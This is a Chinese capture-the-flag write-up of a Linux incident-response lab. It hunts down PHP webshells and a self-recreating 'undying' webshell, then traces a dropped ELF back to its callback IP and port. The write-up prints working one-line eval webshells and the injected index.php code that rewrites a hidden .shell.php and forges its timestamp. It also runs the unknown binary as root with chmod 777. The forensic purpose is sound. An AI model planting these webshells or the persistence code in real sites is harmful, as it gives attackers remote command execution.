玄机靶场--第一章 应急响应- Linux入侵排查

文章目录

第一章 应急响应- Linux入侵排查

账号:root 密码:linuxruqin
ssh root@IP
1.web目录存在木马,请找到木马的密码提交
2.服务器疑似存在不死马,请找到不死马的密码提交
3.不死马是通过哪个文件生成的,请提交文件名
4.黑客留下了木马文件,请找出黑客的服务器ip提交
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交
1.web目录存在木马,请找到木马的密码提交

和上一次的webshell查杀一样,可以尝试搜索jsp、php、asp、aspx这几种特殊后缀文件,并尝试寻找其中的危险函数来查找webshell。

bash 复制代码
//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec(" 
find ./ type f -name "*.php" | xargs grep "eval(" 
find ./ type f -name "*.asp" | xargs grep "execute(" 
find ./ type f -name "*.aspx" | xargs grep "eval(" 

命令解析:

bash 复制代码
find ./ type f -name "*.php" | xargs grep "eval(" 
  • find ./ type f -name "*.php":在当前目录及子目录下,寻找以.php后缀结尾的文件。,输出其文件路径。
  • xargs:xargs会将前面所得到的文件对应的路径,传递给grep,并且让 grep 在每个文件的内容中查找。
  • grep "eval(" :在文件内容中查找字符串 "eval("

这里在搜索.php文件并过滤eval函数的时候,得到了三个文件.shell.phpindex.php1.php

bash 复制代码
root@ip-10-0-10-4:/var/www# find ./ type f -name "*.php" | xargs grep "eval(" 
find: 'type': No such file or directory
find: 'f': No such file or directory
./html/.shell.php:<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>
./html/index.php:$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
./html/1.php:<?php eval($_POST[1]);?>

看到1.php中一句话木马密码为1

flag{1}
2.服务器疑似存在不死马,请找到不死马的密码提交

上面还有.shell.phpindex.php这两个文件,挨个看一下

bash 复制代码
root@ip-10-0-10-4:/var/www# cd html
root@ip-10-0-10-4:/var/www/html# cat .shell.php
<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>
root@ip-10-0-10-4:/var/www/html# cat index.php
<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
        $path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
        Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
        Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>
php 复制代码
//shell.php
<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>

index.php产生的,这段代码作用是判断传入的密码的MD5值是否正确,如果正确,则可以通过POST提交的参数cmd进行命令执行。

php 复制代码
//index.php
<?php
//引入外部文件
include('config.php');  //config.php通常是配置文件
include(SYS_ROOT.INC.'common.php'); //common.php通常是公共的辅助函数或类库
//获取路径
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
        $path=substr($path,1);
}
$path = Base::safeword($path); //做安全处理,对路径进行过滤
//控制器
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
        Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
        Index::run($path);
}
//创建恶意文件,并将恶意代码写入其中
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php'); //伪造文件时间戳
usleep(3000); //增加延迟避免监控
?>
密码的MD5值:5d41402abc4b2a76b9719d911017c592
经过MD5解密:hello

flag{hello}
3.不死马是通过哪个文件生成的,请提交文件名

由上一题分析得到,不死马由index.php生成。

flag{index.php}
4.黑客留下了木马文件,请找出黑客的服务器ip提交

返回web目录,查看一下还有什么,看到一个可疑的文件'shell(1).elf'。可以尝试执行一下,然后查看连接的服务器。

bash 复制代码
root@ip-10-0-10-4:/var/www/html# ls
 1.php   admin     config.php   favicon.ico   index.php     LICENSE    README.md  'shell(1).elf'   template
 1.tar   api.php   data         include       install.php   pictures   rss.php     sitemap.php     wap
root@ip-10-0-10-4:/var/www/html# ./'shell(1).elf'
-bash: syntax error near unexpected token `1'
root@ip-10-0-10-4:/var/www/html# chmod 777 'shell(1).elf'
root@ip-10-0-10-4:/var/www/html# ./'shell(1).elf'

在html目录下存在一个'shell(1).elf'文件,尝试执行,发现没有权限,直接给777权限,然后执行。

这里执行之后是没有任何回显的,需要再开一个连接。

bash 复制代码
root@ip-10-0-10-4:~# netstat -antlp | more
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      553/mysqld          
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      496/sshd            
tcp        0      0 10.0.10.4:22            223.102.112.50:17121    ESTABLISHED 1230/sshd: root@not 
tcp        0    168 10.0.10.4:22            223.102.112.50:17216    ESTABLISHED 8360/sshd: root@pts 
tcp        0      0 10.0.10.4:22            188.165.33.179:35306    SYN_RECV    -                   
tcp        0      1 10.0.10.4:33052         10.11.55.21:3333        SYN_SENT    6941/./shell(1).elf 
tcp        0      0 10.0.10.4:22            223.102.112.50:17101    ESTABLISHED 814/sshd: root@pts/ 
tcp6       0      0 :::80                   :::*                    LISTEN      680/apache2         
tcp6       0      0 :::22                   :::*                    LISTEN      496/sshd    

命令分析:

bash 复制代码
netstat -antlp | more

netstat用于显示网络连接、路由表、接口统计信息、伪装连接和多播成员信息。可以用于显示网络连接和监听端口的详细信息。

  • -a:显示所有连接中的端口,包括监听和非监听。
  • -n:以数字形式显示地址和端口号,而不是将其解析为主机名或服务名。
  • -t:显示 TCP 连接。
  • -l:显示监听状态的套接字。
  • -p:显示使用每个套接字的程序。

使用more命令通过分页方式呈现输出内容。

找到连接的ip:10.11.55.21

flag{10.11.55.21}
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交

同上

flag{3333}
利用工具排查

将/var/www/html目录dump下来,使用D盾扫描

扫出来的第二个文件1.php,即为第一问所需的文件。

扫出来的第四个文件index.php,即为第二问、第三问所需的文件。

剩下的没有扫出来的使用云沙箱等工具扫描,这里使用微步的云沙箱发现shell(1).elf文件,并且可以找到服务器ip以及端口。

相关推荐
Future_yzx3 小时前
算法基础学习——快排与归并(附带java模版)
学习·算法·排序算法
三次拒绝王俊凯4 小时前
记忆力训练day08
学习
Mr_Xuhhh5 小时前
进程间通信
android·java·服务器·开发语言·数据库
zwhSunday5 小时前
线程概念、操作
linux·线程
_zwy5 小时前
【Linux权限】—— 于虚拟殿堂,轻拨密钥启华章
linux·运维·c++·深度学习·神经网络
半夏云流6 小时前
CMake常用命令指南(CMakeList.txt)
linux·makefile·cmake
英国翰思教育6 小时前
留学毕业论文如何利用不同问题设计问卷
人工智能·深度学习·学习·算法·学习方法·论文笔记
eggcode6 小时前
【CSS入门学习】Flex布局设置div水平、垂直分布与居中
css·学习
鲁子狄7 小时前
[笔记] 极狐GitLab实例 : 手动备份步骤总结
linux·运维·笔记·ubuntu·centos·gitlab
end_SJ7 小时前
FreeRTOS学习 --- 动态任务创建和删除的详细过程
学习